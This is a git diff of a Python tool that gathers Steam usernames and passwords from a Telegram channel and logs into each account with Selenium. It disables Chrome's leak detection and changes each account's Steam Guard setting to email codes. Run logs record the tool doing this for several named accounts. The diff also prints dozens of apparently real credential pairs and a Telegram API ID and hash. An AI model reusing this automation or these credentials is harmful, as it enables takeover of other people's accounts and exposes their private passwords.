Compare commits

..

No commits in common. "24c3e613903c102c4d7335ce09a5f3519b2108e9" and "fd33a824b2b21a4b2cc3472a412530ea244f210e" have entirely different histories.

6 changed files with 64 additions and 215 deletions

4
.env
View File

@ -1,3 +1,3 @@
API_ID=21965168 API_ID=
API_HASH=99a551f86da94fbe39097f449434fd53 API_HASH=
CHANNEL_URL=https://t.me/Burger_Game CHANNEL_URL=https://t.me/Burger_Game

View File

@ -1,35 +1,5 @@
{ {
"accounts": [ "accounts": [
{
"username": "steamok1089773",
"password": "steamok987",
"date": "2025-05-16T12:29:33"
},
{
"username": "ets2xiajsh",
"password": "https://playerok.com/profile/QAVIX/products",
"date": "2025-05-15T22:29:18"
},
{
"username": "qq1070414930",
"password": "mhEklDDkjP",
"date": "2025-05-15T19:27:34"
},
{
"username": "ivpopov13",
"password": "BQDhvkGfAPYh4Voqd8aco",
"date": "2025-05-15T14:11:40"
},
{
"username": "amlv63032",
"password": "CExXMoJXF1TU",
"date": "2025-05-15T10:30:16"
},
{
"username": "operpolnomochenxd",
"password": "208368382DashJiovanniNumber030993994",
"date": "2025-05-14T21:03:45"
},
{ {
"username": "thb111990", "username": "thb111990",
"password": "steamok111990", "password": "steamok111990",
@ -249,6 +219,36 @@
"username": "fpfuryfamily", "username": "fpfuryfamily",
"password": "thxfp362", "password": "thxfp362",
"date": "2025-05-02T15:07:06" "date": "2025-05-02T15:07:06"
},
{
"username": "ShezyyyFunPay",
"password": "funpay.com/users/8943271/",
"date": "2025-05-01T16:45:17"
},
{
"username": "fmih9tqp",
"password": "BulbulofficialFunPay",
"date": "2025-05-01T16:45:17"
},
{
"username": "impericon",
"password": "2O9CLXJFBQXT",
"date": "2025-04-30T21:47:13"
},
{
"username": "fpfuryfamily",
"password": "thxfp362",
"date": "2025-04-30T14:23:32"
},
{
"username": "komski01",
"password": "omarca06",
"date": "2025-04-29T22:59:56"
},
{
"username": "quincypugy",
"password": "0Heh%v4SSG",
"date": "2025-04-29T18:42:08"
} }
] ]
} }

View File

@ -1 +1 @@
{"accounts": [{"username": "enigma2370", "password": "users/14642501", "date": "2025-05-13T15:40:48"}, {"username": "enigma2370", "password": "users/14642501", "date": "2025-05-13T15:33:40"}, {"username": "enigma2370", "password": "users/14642501", "date": "2025-05-13T15:32:32"}, {"username": "thb111990", "password": "steamok111990", "date": "2025-05-14T16:16:05"}, {"username": "lrtts643631", "password": "dGCR2cEfN_", "date": "2025-05-14T12:44:33"}, {"username": "hazer3", "password": "S2477TT27EC6", "date": "2025-05-14T11:11:14"}, {"username": "brbba2063", "password": "che600220", "date": "2025-05-13T21:52:58"}, {"username": "ets2xiajsh", "password": "https://playerok.com/profile/QAVIX/products", "date": "2025-05-14T16:16:05"}, {"username": "steamok1089773", "password": "steamok987", "date": "2025-05-16T12:29:33"}, {"username": "ets2xiajsh", "password": "https://playerok.com/profile/QAVIX/products", "date": "2025-05-15T22:29:18"}, {"username": "qq1070414930", "password": "mhEklDDkjP", "date": "2025-05-15T19:27:34"}, {"username": "ivpopov13", "password": "BQDhvkGfAPYh4Voqd8aco", "date": "2025-05-15T14:11:40"}]} {"accounts": [{"username": "enigma2370", "password": "users/14642501", "date": "2025-05-13T15:40:48"}, {"username": "enigma2370", "password": "users/14642501", "date": "2025-05-13T15:33:40"}, {"username": "enigma2370", "password": "users/14642501", "date": "2025-05-13T15:32:32"}, {"username": "thb111990", "password": "steamok111990", "date": "2025-05-14T16:16:05"}, {"username": "lrtts643631", "password": "dGCR2cEfN_", "date": "2025-05-14T12:44:33"}, {"username": "hazer3", "password": "S2477TT27EC6", "date": "2025-05-14T11:11:14"}, {"username": "brbba2063", "password": "che600220", "date": "2025-05-13T21:52:58"}]}

41
main.py
View File

@ -4,7 +4,6 @@ import json
import logging import logging
import os import os
import aiosqlite
from dotenv import load_dotenv from dotenv import load_dotenv
from pyrogram import Client from pyrogram import Client
@ -61,47 +60,15 @@ async def fetch_and_monitor_accounts():
accounts.sort(key=lambda x: x['date'], reverse=True) accounts.sort(key=lambda x: x['date'], reverse=True)
top_50 = accounts[:50] top_50 = accounts[:50]
async with aiosqlite.connect('credentials.db') as db: with open('credentials.json', 'w', encoding='utf-8') as f:
# Создаем таблицу, если её нет json.dump({'accounts': top_50}, f, indent=4, ensure_ascii=False)
await db.execute('''
CREATE TABLE IF NOT EXISTS accounts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
password TEXT NOT NULL,
date TEXT NOT NULL,
added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
''')
await db.execute('''
CREATE TABLE IF NOT EXISTS backup_accounts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
password TEXT NOT NULL,
date TEXT NOT NULL,
added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
''')
# Очищаем старые записи перед добавлением новых
await db.execute('DELETE FROM accounts')
# Вставляем новые записи
for account in top_50:
await db.execute(
'INSERT INTO accounts (username, password, date) VALUES (?, ?, ?)',
(account['username'], account['password'], account['date'])
)
await db.commit()
logger.info(f"\n✅ Сохранено {len(top_50)} аккаунтов в credentials.json") logger.info(f"\n✅ Сохранено {len(top_50)} аккаунтов в credentials.json")
await SteamLogin().open_steam_login_page_and_type() SteamLogin().open_steam_login_page_and_type()
await asyncio.sleep(30) await asyncio.sleep(30)
if __name__ == '__main__': if __name__ == '__main__':
asyncio.run(fetch_and_monitor_accounts()) asyncio.run(fetch_and_monitor_accounts())
# asyncio.run(SteamLogin().open_steam_login_page_and_type())

View File

@ -64,82 +64,3 @@
2025-05-14 17:57:25,245 - steam_parser.steam - INFO - Вход для аккаунта lrtts643631 не удался. Ошибка: семейный доступ 2025-05-14 17:57:25,245 - steam_parser.steam - INFO - Вход для аккаунта lrtts643631 не удался. Ошибка: семейный доступ
2025-05-14 17:57:46,616 - steam_parser.steam - INFO - Вход для аккаунта hazer3 не удался. Ошибка: красная табличка 2025-05-14 17:57:46,616 - steam_parser.steam - INFO - Вход для аккаунта hazer3 не удался. Ошибка: красная табличка
2025-05-14 17:58:09,894 - steam_parser.steam - INFO - Вход для аккаунта brbba2063 не удался. Ошибка: красная табличка 2025-05-14 17:58:09,894 - steam_parser.steam - INFO - Вход для аккаунта brbba2063 не удался. Ошибка: красная табличка
2025-05-16 12:45:58,328 - steam_parser.steam - INFO - ✅ Guard code установлен для аккаунта: ets2xiajsh
2025-05-16 12:51:00,688 - pyrogram.session.auth - INFO - Start creating a new auth key on DC2
2025-05-16 12:51:00,689 - pyrogram.connection.connection - INFO - Connecting...
2025-05-16 12:51:00,690 - pyrogram.connection.connection - INFO - Connected! Production DC2 - IPv4
2025-05-16 12:51:02,939 - pyrogram.session.auth - INFO - Done auth key exchange: DhGenOk
2025-05-16 12:51:02,940 - pyrogram.connection.connection - INFO - Disconnected
2025-05-16 12:51:02,954 - pyrogram.connection.connection - INFO - Connecting...
2025-05-16 12:51:02,955 - pyrogram.connection.connection - INFO - Connected! Production DC2 - IPv4
2025-05-16 12:51:02,956 - pyrogram.session.session - INFO - NetworkTask started
2025-05-16 12:51:03,676 - pyrogram.session.session - INFO - Session initialized: Pyrogram v2.2.3 (Layer 203)
2025-05-16 12:51:03,677 - pyrogram.session.session - INFO - Device: CPython 3.10.0 - Pyrogram 2.2.3
2025-05-16 12:51:03,677 - pyrogram.session.session - INFO - System: Windows 10 (en)
2025-05-16 12:51:03,677 - pyrogram.session.session - INFO - Session started
2025-05-16 12:51:03,680 - pyrogram.session.session - INFO - PingTask started
2025-05-16 12:51:23,029 - pyrogram.session.session - INFO - PingTask stopped
2025-05-16 12:51:23,029 - pyrogram.connection.connection - INFO - Disconnected
2025-05-16 12:51:23,030 - pyrogram.session.session - INFO - NetworkTask stopped
2025-05-16 12:51:23,030 - pyrogram.session.session - INFO - Session stopped
2025-05-16 12:51:23,039 - pyrogram.session.auth - INFO - Start creating a new auth key on DC1
2025-05-16 12:51:23,039 - pyrogram.connection.connection - INFO - Connecting...
2025-05-16 12:51:23,040 - pyrogram.connection.connection - INFO - Connected! Production DC1 - IPv4
2025-05-16 12:51:25,707 - pyrogram.session.auth - INFO - Done auth key exchange: DhGenOk
2025-05-16 12:51:25,707 - pyrogram.connection.connection - INFO - Disconnected
2025-05-16 12:51:25,721 - pyrogram.connection.connection - INFO - Connecting...
2025-05-16 12:51:25,722 - pyrogram.connection.connection - INFO - Connected! Production DC1 - IPv4
2025-05-16 12:51:25,722 - pyrogram.session.session - INFO - NetworkTask started
2025-05-16 12:51:27,374 - pyrogram.session.session - INFO - Session initialized: Pyrogram v2.2.3 (Layer 203)
2025-05-16 12:51:27,374 - pyrogram.session.session - INFO - Device: CPython 3.10.0 - Pyrogram 2.2.3
2025-05-16 12:51:27,374 - pyrogram.session.session - INFO - System: Windows 10 (en)
2025-05-16 12:51:27,374 - pyrogram.session.session - INFO - Session started
2025-05-16 12:51:27,374 - pyrogram.session.session - INFO - PingTask started
2025-05-16 12:51:37,036 - pyrogram.dispatcher - INFO - Started 16 HandlerTasks
2025-05-16 12:51:39,584 - __main__ - INFO -
✅ Сохранено 50 аккаунтов в credentials.json
2025-05-16 12:53:06,874 - steam_parser.steam - INFO - ✅ Guard code установлен для аккаунта: steamok1089773
2025-05-16 12:54:55,102 - pyrogram.connection.connection - INFO - Connecting...
2025-05-16 12:54:55,104 - pyrogram.connection.connection - INFO - Connected! Production DC1 - IPv4
2025-05-16 12:54:55,106 - pyrogram.session.session - INFO - NetworkTask started
2025-05-16 12:54:56,204 - pyrogram.session.session - INFO - Session initialized: Pyrogram v2.2.3 (Layer 203)
2025-05-16 12:54:56,204 - pyrogram.session.session - INFO - Device: CPython 3.10.0 - Pyrogram 2.2.3
2025-05-16 12:54:56,204 - pyrogram.session.session - INFO - System: Windows 10 (en)
2025-05-16 12:54:56,204 - pyrogram.session.session - INFO - Session started
2025-05-16 12:54:56,215 - pyrogram.session.session - INFO - PingTask started
2025-05-16 12:54:56,965 - pyrogram.dispatcher - INFO - Started 16 HandlerTasks
2025-05-16 12:54:58,857 - __main__ - INFO -
✅ Сохранено 50 аккаунтов в credentials.json
2025-05-16 12:56:11,688 - steam_parser.steam - INFO - ✅ Guard code установлен для аккаунта: ets2xiajsh
2025-05-16 12:57:49,539 - pyrogram.connection.connection - INFO - Connecting...
2025-05-16 12:57:49,542 - pyrogram.connection.connection - INFO - Connected! Production DC1 - IPv4
2025-05-16 12:57:49,544 - pyrogram.session.session - INFO - NetworkTask started
2025-05-16 12:57:50,765 - pyrogram.session.session - INFO - Session initialized: Pyrogram v2.2.3 (Layer 203)
2025-05-16 12:57:50,765 - pyrogram.session.session - INFO - Device: CPython 3.10.0 - Pyrogram 2.2.3
2025-05-16 12:57:50,766 - pyrogram.session.session - INFO - System: Windows 10 (en)
2025-05-16 12:57:50,766 - pyrogram.session.session - INFO - Session started
2025-05-16 12:57:50,774 - pyrogram.session.session - INFO - PingTask started
2025-05-16 12:57:51,414 - pyrogram.dispatcher - INFO - Started 16 HandlerTasks
2025-05-16 12:57:53,257 - __main__ - INFO -
✅ Сохранено 50 аккаунтов в credentials.json
2025-05-16 12:58:53,750 - steam_parser.steam - INFO - ✅ Guard code установлен для аккаунта: qq1070414930
2025-05-16 12:59:40,770 - steam_parser.steam - INFO - Вход для аккаунта ivpopov13 не удался. Ошибка: Message: invalid session id
Stacktrace:
GetHandleVerifier [0x00007FF6BBF3CF65+75717]
GetHandleVerifier [0x00007FF6BBF3CFC0+75808]
(No symbol) [0x00007FF6BBD08DCC]
(No symbol) [0x00007FF6BBD4F54F]
(No symbol) [0x00007FF6BBD87242]
(No symbol) [0x00007FF6BBD81C63]
(No symbol) [0x00007FF6BBD80D29]
(No symbol) [0x00007FF6BBCD5A55]
GetHandleVerifier [0x00007FF6BC23D74D+3223469]
GetHandleVerifier [0x00007FF6BC237CF2+3200338]
GetHandleVerifier [0x00007FF6BC255B23+3322755]
GetHandleVerifier [0x00007FF6BBF56A3A+180890]
GetHandleVerifier [0x00007FF6BBF5E13F+211359]
(No symbol) [0x00007FF6BBCD4AC8]
GetHandleVerifier [0x00007FF6BC326FF8+4180056]
BaseThreadInitThunk [0x00007FF9DF79259D+29]
RtlUserThreadStart [0x00007FF9E0CCAF38+40]

View File

@ -3,7 +3,6 @@ import os
import logging import logging
import time import time
import aiosqlite
from selenium import webdriver from selenium import webdriver
from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support.ui import WebDriverWait
@ -17,15 +16,15 @@ class SteamLogin():
if not os.path.exists('credentials_backup.json'): if not os.path.exists('credentials_backup.json'):
open('credentials_backup.json', 'w').write(json.dumps({'accounts': []})) open('credentials_backup.json', 'w').write(json.dumps({'accounts': []}))
self.options = Options() options = Options()
prefs = { prefs = {
"credentials_enable_service": False, "credentials_enable_service": False,
"profile.password_manager_enabled": False, "profile.password_manager_enabled": False,
"profile.password_manager_leak_detection": False # Отключение проверки утечек паролей "profile.password_manager_leak_detection": False # Отключение проверки утечек паролей
} }
self.options.add_experimental_option("prefs", prefs) options.add_experimental_option("prefs", prefs)
self.driver = webdriver.Chrome( self.driver = webdriver.Chrome(
options=self.options options=options
) )
def __wait_get(self, xpath: str, timeout: int = 15): def __wait_get(self, xpath: str, timeout: int = 15):
@ -37,73 +36,37 @@ class SteamLogin():
... ...
async def __write_to_database(self, account: dict): def __write_to_json(self, account: dict):
async with aiosqlite.connect('credentials.db') as db: with open('credentials_backup.json', 'r') as file:
# Создаем таблицу если её нет data = json.load(file)
await db.execute(''' data['accounts'].append(account)
CREATE TABLE IF NOT EXISTS backup_accounts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
date TEXT NOT NULL,
added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)
''')
# Пробуем вставить новую запись (UNIQUE constraint предотвратит дубликаты)
try:
await db.execute(
'''INSERT INTO backup_accounts (username, password, date)
VALUES (?, ?, ?)''',
(account['username'], account['password'], account['date'])
)
await db.commit()
except aiosqlite.IntegrityError:
# Аккаунт уже существует в базе
pass
open('credentials_backup.json', 'w').write(json.dumps(data))
def __restart_driver(self):
self.driver.quit()
self.driver = webdriver.Chrome(
options=self.options
)
self.driver.get("https://steamcommunity.com/login/home/?goto=")
# time.sleep(15)
async def open_steam_login_page_and_type(self): def open_steam_login_page_and_type(self):
# Открываем страницу входа в Steam # Открываем страницу входа в Steam
self.driver.get("https://steamcommunity.com/login/home/?goto=") self.driver.get("https://steamcommunity.com/login/home/?goto=")
# Загружаем учетные данные из JSON файла # Загружаем учетные данные из JSON файла
async with aiosqlite.connect('credentials.db') as db: with open('credentials.json', 'r') as file:
# Получаем свежие аккаунты из основной таблицы data = json.load(file)
cursor = await db.execute('SELECT username, password, date FROM accounts')
data = await cursor.fetchall()
cursor = await db.execute('SELECT username, password, date FROM backup_accounts') with open('credentials_backup.json', 'r') as file:
archived_accounts = await cursor.fetchall() archive = json.load(file)['accounts']
# Преобразуем в множества для быстрой проверки
archived_set = {(acc[0], acc[1]) for acc in archived_accounts}
# Фильтруем уникальные аккаунты
unique_accounts = [
{'username': acc[0], 'password': acc[1], 'date': acc[2]}
for acc in data
if (acc[0], acc[1]) not in archived_set
]
for account in unique_accounts: for account in data['accounts']:
# time.sleep(30) if account in archive:
continue
time.sleep(30)
username = account['username'] username = account['username']
password = account['password'] password = account['password']
# Задержка перед заходом в аккаунт # Задержка перед заходом в аккаунт
WebDriverWait(self.driver, 15).until( WebDriverWait(self.driver, 30).until(
EC.presence_of_element_located(("xpath", '//*[@id="responsive_page_template_content"]/div[1]/div[1]/div/div/div/div[2]/div/form/div[1]/input')) EC.presence_of_element_located(("xpath", '//*[@id="responsive_page_template_content"]/div[1]/div[1]/div/div/div/div[2]/div/form/div[1]/input'))
) )
@ -121,14 +84,14 @@ class SteamLogin():
is_code = self.__wait_get('//*[@id="responsive_page_template_content"]/div[1]/div[1]/div/div/div/div[2]/form/div/a', 5) is_code = self.__wait_get('//*[@id="responsive_page_template_content"]/div[1]/div[1]/div/div/div/div[2]/form/div/a', 5)
if is_code: if is_code:
self.driver.get("https://steamcommunity.com/login/home/?goto=") self.driver.get("https://steamcommunity.com/login/home/?goto=")
await self.__write_to_database(account) self.__write_to_json(account)
logger.info(f"Вход для аккаунта {username} не удался. Ошибка: требуется код из почты") logger.info(f"Вход для аккаунта {username} не удался. Ошибка: требуется код из почты")
continue continue
is_authed = self.__wait_get('//*[@id="account_pulldown"]', 5) is_authed = self.__wait_get('//*[@id="account_pulldown"]', 5)
if not is_authed: if not is_authed:
self.driver.get("https://steamcommunity.com/login/home/?goto=") self.driver.get("https://steamcommunity.com/login/home/?goto=")
await self.__write_to_database(account) self.__write_to_json(account)
logger.info(f"Вход для аккаунта {username} не удался. Ошибка: не авторизован") logger.info(f"Вход для аккаунта {username} не удался. Ошибка: не авторизован")
continue continue
@ -136,8 +99,8 @@ class SteamLogin():
if is_family: if is_family:
self.__wait_get('//*[@id="account_pulldown"]').click() self.__wait_get('//*[@id="account_pulldown"]').click()
self.__wait_get('//*[@id="account_dropdown"]/div/a[last()]').click() self.__wait_get('//*[@id="account_dropdown"]/div/a[last()]').click()
self.__restart_driver() self.driver.get("https://steamcommunity.com/login/home/?goto=")
await self.__write_to_database(account) self.__write_to_json(account)
logger.info(f"Вход для аккаунта {username} не удался. Ошибка: семейный доступ") logger.info(f"Вход для аккаунта {username} не удался. Ошибка: семейный доступ")
continue continue
@ -152,8 +115,6 @@ class SteamLogin():
WebDriverWait(self.driver, 10).until( WebDriverWait(self.driver, 10).until(
EC.presence_of_element_located(('xpath', '//*[@id="main_content"]/div[2]/div/div[2]/div[3]/div[5]/div[2]/a')) EC.presence_of_element_located(('xpath', '//*[@id="main_content"]/div[2]/div/div[2]/div[3]/div[5]/div[2]/a'))
).click() ).click()
# ключевой момент
WebDriverWait(self.driver, 10).until( WebDriverWait(self.driver, 10).until(
EC.presence_of_element_located(('xpath', '//*[@id="email_authenticator_form"]/div/div[2]/label')) EC.presence_of_element_located(('xpath', '//*[@id="email_authenticator_form"]/div/div[2]/label'))
).click() ).click()
@ -162,8 +123,8 @@ class SteamLogin():
if is_red: if is_red:
self.__wait_get('//*[@id="account_pulldown"]').click() self.__wait_get('//*[@id="account_pulldown"]').click()
self.__wait_get('//*[@id="account_dropdown"]/div/a[last()]').click() self.__wait_get('//*[@id="account_dropdown"]/div/a[last()]').click()
self.__restart_driver() self.driver.get("https://steamcommunity.com/login/home/?goto=")
await self.__write_to_database(account) self.__write_to_json(account)
logger.info(f"Вход для аккаунта {username} не удался. Ошибка: красная табличка") logger.info(f"Вход для аккаунта {username} не удался. Ошибка: красная табличка")
continue continue
@ -183,6 +144,6 @@ class SteamLogin():
logger.info(f"Вход для аккаунта {username} не удался. Ошибка: {str(e)}") logger.info(f"Вход для аккаунта {username} не удался. Ошибка: {str(e)}")
# Возвращаемся на страницу входа для следующего аккаунта # Возвращаемся на страницу входа для следующего аккаунта
await self.__write_to_database(account) self.__write_to_json(account)
self.__restart_driver() self.driver.get("https://steamcommunity.com/login/home/?goto=")